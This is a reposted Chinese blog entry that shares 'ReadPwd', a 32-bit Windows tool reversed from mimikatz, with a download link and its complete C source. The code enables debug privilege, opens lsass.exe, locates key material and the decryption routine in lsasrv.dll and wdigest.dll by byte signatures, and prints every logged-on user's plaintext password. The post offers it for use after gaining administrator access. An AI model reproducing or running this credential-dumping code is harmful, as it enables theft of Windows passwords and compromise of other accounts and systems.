ReadPwd读windows内存中明文密码

来源:互联网 发布:六味地黄丸 知乎 编辑:程序博客网 时间:2024/05/20 05:23

此程序是看雪论坛中秋节发出来的一个逆向作品,逆向的目标就是曾经介绍过的mimikatz,直接把取密码的过程简化到了一起。

之前看到有人就是拿来编译了一下也要在前面加好多什么来自某某黑客啦什么什么的,很蛋疼,也可能是大家连编译都懒得编译了,直接拿来主义吧,嘿嘿,这里发个原版的,不含任何广告链接自我宣传什么的。

这事让我想到了前一段用搜索引擎检测了一下,发现自己的好多文章都给抄去了,有各种“大牛”的博客啦,也有一些之前比较出名的网络安全站点,有的注明了出处有的貌似是机器人采集的?我也懒得去计较了,之前辛苦整理的一些资料下载加了密码就是防止这些转载党,采集党,没有别的意思。

这个工具目前只能在32位系统下使用,基本通杀目前能见到的windows系统,拿到了管理员权限以后使用还是很方便的。可惜由于某些动态链接库没有处理好,导致无法在64位系统下使用,某个DLL导入失败,小修改一下应该还是可以的,明天摆弄摆弄看看。

今天看了一下,发现64位下的程序太多地方不兼容了,而且目前服务器用到2008的比较少,还是放弃了。

下载地址:
ReadPwd_x86.exe

源代码:

1#include <windows.h>
2#include <stdio.h>
3 
4//
5//  Vsbat[0x710dddd]
6// 
7//  Note: VC++ 6.0编译/Admin权限执行
8//
9 
10#define MEM_SIZE 0x1000
11#define WIN7     0x1
12#define WINXP    0x2
13#define WIN03    0x4
14 
15typedef struct _LSA_UNICODE_STRING {
16    USHORT Length;
17    USHORT MaximumLength;
18    PWSTR  Buffer;
19} LSA_UNICODE_STRING , *PLSA_UNICODE_STRING ;
20 
21typedef struct _SECURITY_LOGON_SESSION_DATA { 
22    ULONG Size; 
23    LUID LogonId;
24    LSA_UNICODE_STRING UserName; 
25    LSA_UNICODE_STRING LogonDomain; 
26    LSA_UNICODE_STRING AuthenticationPackage; 
27    ULONG LogonType;  ULONG Session; 
28    PSID Sid; 
29    LARGE_INTEGER LogonTime; 
30    LSA_UNICODE_STRING LogonServer; 
31    LSA_UNICODE_STRING DnsDomainName; 
32    LSA_UNICODE_STRING Upn;
33} SECURITY_LOGON_SESSION_DATA,  *PSECURITY_LOGON_SESSION_DATA ;
34 
35typedef int (__stdcall * pNTQUERYPROCESSINFORMATION)(HANDLEDWORDPVOIDULONG,PULONG) ;
36typedef int (__stdcall * pLSAENUMERATELOGONSESSIONS)(PULONG, PLUID *) ;
37typedef int (__stdcall * pDECRIPTFUNC)(PBYTEDWORD) ;
38typedef int (__stdcall * pLSAFREERETURNBUFFER)(PVOID) ;
39typedef int (__stdcall * pLSAGETLOGONSESSIONDATA)(PLUID, PSECURITY_LOGON_SESSION_DATA *) ;
40 
41int    EnableDebugPrivilege() ;
42void   printHexBytes(PBYTE data, int nBytes) ;
43PBYTE  search_bytes(PBYTE pBegin, PBYTE pEnd, PBYTE pBytes, DWORD nsize) ;
44void   CopyKeyGlobalData(HANDLE hProcess, LPVOID hModlsasrv, int osKind) ;
45HANDLE GetProcessHandleByName(const CHAR *szName) ;
46LPVOID GetEncryptListHead() ;
47void   printSessionInfo(pLSAGETLOGONSESSIONDATA, pLSAFREERETURNBUFFER, PLUID) ;
48 
49// 解密函数特征码(lsasrv.text)
50BYTE DecryptfuncSign[] = { 0x8B, 0xFF, 0x55, 0x8B,
51                           0xEC, 0x6A, 0x00, 0xFF,
52                           0x75, 0x0C, 0xFF, 0x75,
53                           0x08, 0xE8 } ;
54 
55// 密钥KEY相关的关键地址特征码(lsasrv.text)
56BYTE DecryptKeySign_WIN7[]  = { 0x33, 0xD2, 0xC7, 0x45, 0xE8, 0x08, 0x00, 0x00, 0x00, 0x89, 0x55, 0xE4 } ;
57BYTE DecryptKeySign_XP[]    = { 0x8D, 0x85, 0xF0, 0xFE, 0xFF, 0xFF, 0x50, 0xFF, 0x75, 0x10, 0xFF, 0x35 } ;
58 
59// 密文关键指针特征码(wdigest.text)
60BYTE KeyPointerSign[]  = { 0x8B, 0x45, 0x08, 0x89, 0x08, 0xC7, 0x40, 0x04 } ;
61 
62// 全局变量
63BYTE MemBuf[MEM_SIZE], SecBuf[0x200], ThirdBuf[0x200] ;
64BYTE Encryptdata[0x100] ;
65 
66HANDLE GetProcessHandleByName(const CHAR *szName)
67{
68    //
69    // GetProcessHandle获得lsass.exe进程句柄
70    //
71    DWORD  dwProcessId , ReturnLength, nBytes ;
72    WCHAR  Buffer[MAX_PATH + 0x20] ;
73    HANDLE hProcess ;
74    PWCHAR pRetStr ;
75    pNTQUERYPROCESSINFORMATION NtQueryInformationProcess ;
76    CHAR   szCurrentPath[MAX_PATH] ;
77 
78    NtQueryInformationProcess = (pNTQUERYPROCESSINFORMATION)GetProcAddress(GetModuleHandle("ntdll.dll") , \
79                                    "NtQueryInformationProcess") ;
80 
81    // Process ID 一定是 4 的倍数
82    for(dwProcessId = 4 ; dwProcessId < 10*1000 ; dwProcessId += 4)
83    {
84        hProcess = OpenProcess(PROCESS_ALL_ACCESS , FALSE, dwProcessId) ;
85        if(hProcess != NULL)
86        {
87            if(!NtQueryInformationProcess(hProcess, 27, Buffer, sizeof(Buffer), &ReturnLength))
88            {
89                pRetStr = (PWCHAR)(*(DWORD *)((DWORD)Buffer + 4)) ;
90 
91                nBytes = WideCharToMultiByte(CP_ACP, 0, pRetStr, -1, \
92                                    szCurrentPath, MAX_PATH, NULL, NULL) ;
93                if(nBytes)
94                {
95                    PCHAR pCurName = &szCurrentPath[nBytes-1] ;
96                    while(pCurName >= szCurrentPath)
97                    {
98                        if(*pCurName == '\\')  break ;
99                        pCurName -- ;
100                    }
101                    pCurName ++ ;
102                    if(lstrcmpi(szName, pCurName) == 0)
103                    {
104                        return hProcess ;
105                    }
106                }
107            }
108            // 关闭打开的句柄
109            CloseHandle(hProcess) ;
110        }
111    }
112    return NULL ;
113}
114 
115LPVOID GetEncryptListHead()
116{
117    //
118    // 根据KeyPointerSign[]获得密文存储的关键相关地址
119    //
120    HINSTANCE hMod ;
121    LPVOID    pEndAddr, KeyPointer, pTemp ;
122 
123    hMod = LoadLibrary("wdigest.dll") ;
124    pEndAddr = GetProcAddress(hMod, "SpInstanceInit") ;
125    pTemp = hMod ;
126    KeyPointer = NULL ;
127    while(pTemp < pEndAddr && pTemp != NULL)
128    {
129        KeyPointer = pTemp ;
130        pTemp = (LPVOID)search_bytes((PBYTE)pTemp + sizeof(KeyPointerSign), (PBYTE)pEndAddr, \
131                KeyPointerSign, sizeof(KeyPointerSign)) ;
132    }
133    KeyPointer = (LPVOID)(*(DWORD *)((DWORD)KeyPointer - 4)) ;
134    FreeLibrary(hMod) ;
135    return KeyPointer ;
136}
137 
138int main()
139{
140    HINSTANCE hModlsasrv ;
141    DWORD     LogonSessionCount, i ,dwBytesRead ;
142    PLUID     LogonSessionList, pCurLUID , pListLUID ;
143    BYTE      EncryptBuf[0x200] ;
144    HANDLE    hProcess ;
145 
146    if(EnableDebugPrivilege() != 1)
147        puts("EnableDebugPrivilege fail !") ;
148 
149    hProcess = GetProcessHandleByName("lsass.exe") ;
150    if(hProcess == NULL)
151    {
152        puts("GetProcessHandleByName fail !") ;
153        puts("Try To Run As Administrator ...") ;
154        system("echo Press any Key to Continue ... & pause > nul") ;
155        return 0 ;
156    }
157 
158    OSVERSIONINFO VersionInformation ;
159    DWORD dwVerOff = 0 , osKind = -1 ;
160 
161    // 版本判断
162    memset(&VersionInformation, 0, sizeof(VersionInformation));
163    VersionInformation.dwOSVersionInfoSize = sizeof(VersionInformation) ;
164    GetVersionEx(&VersionInformation) ;
165    if (VersionInformation.dwMajorVersion == 5)
166    {
167      if ( VersionInformation.dwMinorVersion == 1 )
168      {
169            dwVerOff = 36 ;
170            osKind = WINXP ;
171      }
172      else if (VersionInformation.dwMinorVersion == 2)
173      {
174            dwVerOff = 28 ;
175            osKind = WIN03 ;
176      }
177    }
178    else if (VersionInformation.dwMajorVersion == 6)
179    {
180        dwVerOff = 32 ;
181        osKind = WIN7 ;
182    }
183 
184    if(osKind == -1)
185    {
186        printf("[Undefined OS version]  Major: %d Minor: %d\n", \
187              VersionInformation.dwMajorVersion, VersionInformation.dwMinorVersion) ;
188        system("echo Press any Key to Continue ... & pause > nul") ;
189        CloseHandle(hProcess) ;
190        return 0 ;
191    }
192 
193    // 获得解密函数地址
194    pDECRIPTFUNC  DecryptFunc ;
195    hModlsasrv  = LoadLibrary("lsasrv.dll") ;
196    DecryptFunc = (pDECRIPTFUNC)search_bytes((PBYTE)hModlsasrv, (PBYTE)0x7fffdddd, DecryptfuncSign, sizeof(DecryptfuncSign)) ;
197 
198    // 获得密文链表头地址
199    LPVOID  ListHead ;
200    ListHead = GetEncryptListHead() ;                
201 
202    // 获得全局数据(lsasrv.data及解密KEY相关的数据)
203    CopyKeyGlobalData(hProcess, hModlsasrv, osKind) ; 
204 
205    HINSTANCE                   hModSecur32 ;
206    pLSAENUMERATELOGONSESSIONS  LsaEnumerateLogonSessions ;
207    pLSAGETLOGONSESSIONDATA     LsaGetLogonSessionData ;
208    pLSAFREERETURNBUFFER        LsaFreeReturnBuffer ;
209 
210    hModSecur32               = LoadLibrary("Secur32.dll") ;
211    LsaEnumerateLogonSessions = (pLSAENUMERATELOGONSESSIONS)GetProcAddress(hModSecur32,"LsaEnumerateLogonSessions") ;
212    LsaGetLogonSessionData    = (pLSAGETLOGONSESSIONDATA)GetProcAddress(hModSecur32, "LsaGetLogonSessionData") ;
213    LsaFreeReturnBuffer       = (pLSAFREERETURNBUFFER)GetProcAddress(hModSecur32,"LsaFreeReturnBuffer") ;
214 
215    LsaEnumerateLogonSessions(&LogonSessionCount, &LogonSessionList) ;
216    for(i = 0 ; i < LogonSessionCount ; i++)
217    {
218        pCurLUID = (PLUID)((DWORD)LogonSessionList + sizeof(LUID) * i) ;
219        // 打印相关信息
220        printSessionInfo(LsaGetLogonSessionData, LsaFreeReturnBuffer, pCurLUID) ;
221        // 遍历链式结构查找当前的LUID
222        ReadProcessMemory(hProcess,  ListHead, EncryptBuf, 0x100, &dwBytesRead) ;
223        while(*(DWORD *)EncryptBuf != (DWORD)ListHead)
224        {
225            ReadProcessMemory(hProcess, (LPVOID)(*(DWORD *)EncryptBuf), EncryptBuf, 0x100, &dwBytesRead) ;
226            pListLUID = (LUID *)((DWORD)EncryptBuf + 0x10) ;
227            if((pListLUID->LowPart  ==  pCurLUID->LowPart) && (pListLUID->HighPart == pCurLUID->HighPart))
228            {
229                break ;
230            }
231        }
232        if(*(DWORD *)EncryptBuf == (DWORD)ListHead)
233        {
234            puts("Specific LUID NOT found\n") ;
235            continue ;
236        }
237 
238        DWORD   pFinal = 0 ;
239        DWORD   nBytes = 0 ;
240        LPVOID  pEncrypt   ;
241        pFinal   = (DWORD)(pListLUID) + dwVerOff  ;
242        nBytes   = *(WORD *)((DWORD)pFinal + 2) ;            // 密文大小
243        pEncrypt = (LPVOID)(*(DWORD *)((DWORD)pFinal + 4)) ; // 密文地址(Remote)
244 
245        memset(Encryptdata, 0, sizeof(Encryptdata)) ;
246        ReadProcessMemory(hProcess, (LPVOID)pEncrypt, Encryptdata, nBytes, &dwBytesRead) ;
247 
248        // 调用解密函数解密
249        DecryptFunc(Encryptdata, nBytes) ;
250        // 打印密码明文
251        printf("password: %S\n\n", Encryptdata) ;
252    }
253 
254    CloseHandle(hProcess) ;
255    LsaFreeReturnBuffer(LogonSessionList) ;
256 
257    FreeLibrary(hModlsasrv) ;
258    FreeLibrary(hModSecur32) ;
259    if(osKind == WIN7)
260    {
261        FreeLibrary(GetModuleHandle("bcrypt.dll")) ;
262        FreeLibrary(GetModuleHandle("bcryptprimitives.dll")) ;
263    }
264 
265    system("echo Press any Key to EXIT ... & pause > nul") ;
266 
267    return 0 ;
268}
269 
270void printSessionInfo(pLSAGETLOGONSESSIONDATA  LsaGetLogonSessionData, pLSAFREERETURNBUFFER LsaFreeReturnBuffer, PLUID pCurLUID)
271{
272    PSECURITY_LOGON_SESSION_DATA pLogonSessionData ;
273 
274    LsaGetLogonSessionData(pCurLUID, &pLogonSessionData) ;
275    printf("UserName: %S\n", pLogonSessionData->UserName.Buffer) ;
276    printf("LogonDomain: %S\n", pLogonSessionData->LogonDomain.Buffer) ;
277 
278    LsaFreeReturnBuffer(pLogonSessionData) ;
279}
280 
281int EnableDebugPrivilege()
282{
283    HANDLE hToken ;
284    LUID   sedebugnameValue ;
285    TOKEN_PRIVILEGES tkp ;
286 
287    if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) )
288    {
289        puts("OpenProcessToken fail") ;
290        return 0 ;
291    }
292    if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue))
293    {
294        puts("LookupPrivilegeValue fail") ;
295        return 0 ;
296    }
297 
298    tkp.PrivilegeCount = 1 ;
299    tkp.Privileges[0].Luid = sedebugnameValue ;
300    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED ;
301    if(!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL) )
302    {
303        puts("AdjustTokenPrivileges fail") ;
304        return 0 ;
305    }
306    return 1 ;
307}
308 
309PBYTE search_bytes(PBYTE pBegin, PBYTE pEnd, PBYTE pBytes, DWORD nsize)
310{
311    //
312    // 在pBegin与pEnd之间搜索pBytes地址处的指定字节序列,字节个数为nsize
313    //
314    DWORD count ;
315    PBYTE pDst ;
316 
317    while((DWORD)pBegin + (DWORD)nsize <= (DWORD)pEnd)
318    {
319        pDst  = pBytes ;
320        count = 0 ;
321        while(count < nsize && *pBegin == *pDst)
322        {
323            pBegin ++ ;
324            pDst   ++ ;
325            count  ++ ;
326        }
327        if(count == nsize)  break ;
328        pBegin = pBegin - count + 1 ;
329    }
330    if(count == nsize)
331    {
332        return (PBYTE)((DWORD)pBegin - (DWORD)count) ;
333    }
334    else
335    {
336        return NULL ;
337    }
338}
339 
340void CopyKeyGlobalData(HANDLE hProcess, LPVOID hModlsasrv, int osKind)
341{
342    PIMAGE_SECTION_HEADER pSectionHead ;
343    PIMAGE_DOS_HEADER     pDosHead ;
344    PIMAGE_NT_HEADERS     pPEHead  ;
345    DWORD                 dwBytes, dwBytesRead ;
346    LPVOID                pdataAddr, pDecryptKey , DecryptKey, pEndAddr ;
347 
348    pDosHead     = (PIMAGE_DOS_HEADER)hModlsasrv ;
349    pSectionHead = (PIMAGE_SECTION_HEADER)(pDosHead->e_lfanew + (DWORD)hModlsasrv \
350                   sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER)) ;
351 
352    pdataAddr = (LPVOID)((DWORD)pSectionHead->VirtualAddress  + (DWORD)hModlsasrv) ;
353    dwBytes   = ((DWORD)(pSectionHead->Misc.VirtualSize) / 0x1000 + 1) * 0x1000 ;
354    ReadProcessMemory(hProcess, pdataAddr, pdataAddr, dwBytes, &dwBytesRead) ;
355 
356    pPEHead   = (PIMAGE_NT_HEADERS)(pDosHead->e_lfanew + (DWORD)hModlsasrv) ;
357    pEndAddr  = (LPVOID)(pPEHead->OptionalHeader.SizeOfImage + (DWORD)hModlsasrv) ;
358 
359    switch(osKind)
360    {
361    case WINXP :
362    case WIN03 :
363        {
364            pDecryptKey = (LPVOID)search_bytes((PBYTE)(hModlsasrv), (PBYTE)pEndAddr , \
365                            DecryptKeySign_XP, sizeof(DecryptKeySign_XP)) ;
366 
367            pDecryptKey = (LPVOID)*(DWORD *)((DWORD)pDecryptKey +sizeof(DecryptKeySign_XP)) ;
368            ReadProcessMemory(hProcess, (LPVOID)pDecryptKey, &DecryptKey, 4, &dwBytesRead) ;
369            // DecryptKey 是与解密相关的关键地址
370            ReadProcessMemory(hProcess, (LPVOID)DecryptKey, MemBuf, 0x200, &dwBytesRead) ;
371            pdataAddr  = (LPVOID)pDecryptKey ;
372            *(DWORD *)pdataAddr = (DWORD)MemBuf ;
373 
374            break ;
375        }
376    case WIN7 :
377        {
378            // WIN7 需调用这两个DLL中的函数进行解密
379            LoadLibrary("bcrypt.dll") ;
380            LoadLibrary("bcryptprimitives.dll") ;
381 
382            pDecryptKey = (LPVOID)search_bytes((PBYTE)(hModlsasrv), (PBYTE)pEndAddr , \
383                            DecryptKeySign_WIN7, sizeof(DecryptKeySign_WIN7)) ;
384            pDecryptKey = (LPVOID)(*(DWORD *)((DWORD)pDecryptKey - 4)) ;
385 
386            // DecryptKey 是与解密相关的关键地址
387            ReadProcessMemory(hProcess,  pDecryptKey, &DecryptKey, 0x4, &dwBytesRead) ;
388 
389            ReadProcessMemory(hProcess, (LPVOID)DecryptKey, MemBuf, 0x200, &dwBytesRead) ;
390            pdataAddr  = (LPVOID)pDecryptKey ;
391            *(DWORD *)pdataAddr = (DWORD)MemBuf ;
392 
393            ReadProcessMemory(hProcess, (LPVOID)(*(DWORD *)((DWORD)MemBuf + 8)), SecBuf, 0x200, &dwBytesRead) ;
394            pdataAddr  = (LPVOID)((DWORD)MemBuf + 8) ;
395            *(DWORD *)pdataAddr = (DWORD)SecBuf ;
396 
397            ReadProcessMemory(hProcess, (LPVOID)(*(DWORD *)((DWORD)MemBuf + 0xC)), ThirdBuf, 0x200, &dwBytesRead) ;
398            pdataAddr  = (LPVOID)((DWORD)MemBuf + 0xC) ;
399            *(DWORD *)pdataAddr = (DWORD)ThirdBuf ;       
400 
401            break ;
402        }
403    }
404    return ;
405}
406 
407// -- EOF -- //


0 0
原创粉丝点击